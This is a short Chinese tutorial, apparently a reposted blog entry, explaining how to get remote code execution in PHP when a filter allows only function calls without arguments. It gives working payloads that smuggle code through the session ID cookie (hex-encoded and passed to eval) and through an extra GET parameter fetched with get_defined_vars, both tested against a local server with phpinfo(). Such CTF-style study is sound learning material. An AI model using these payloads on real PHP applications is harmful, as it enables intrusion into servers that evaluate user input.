php无参rce,php中无参函数的RCE

学习一下php中无符号的问题。

1.无参数

}else{show_source(__FILE__);

}?>

这里调用函数只能是code(a()) 也就是括号中不能含有参数。

http-header传参

在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。

payload:code=eval(hex2bin(session_id(session_start())));

hex("phpinfo();")=706870696e666f28293b

1dba6e01e9c836aaba714fced6279f0a.png

可以成功命令执行。

第二种:post/get传入参数

get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:?code=var_dump(get_defined_vars())&b=1;

aade8b39211314e870fc93aa2c6ceb34.png

变量b和code都在参数中,如何将b带出来用它执行poc

current ( array &$array ) : mixed 返回数组中的当前单元

每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。

4df58a6050575ad2b524cc4b5dca57e2.png

这样可以提取b中的内容了

利用eval和上面的函数可以达到RCE的效果

http://192.168.1.103/test/test.php?code=eval(end(current(get_defined_vars())));&b=phpinfo();

93947bacb3b7741d2ab18eb184facf3a.png

原文:https://www.cnblogs.com/sylover/p/11863778.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值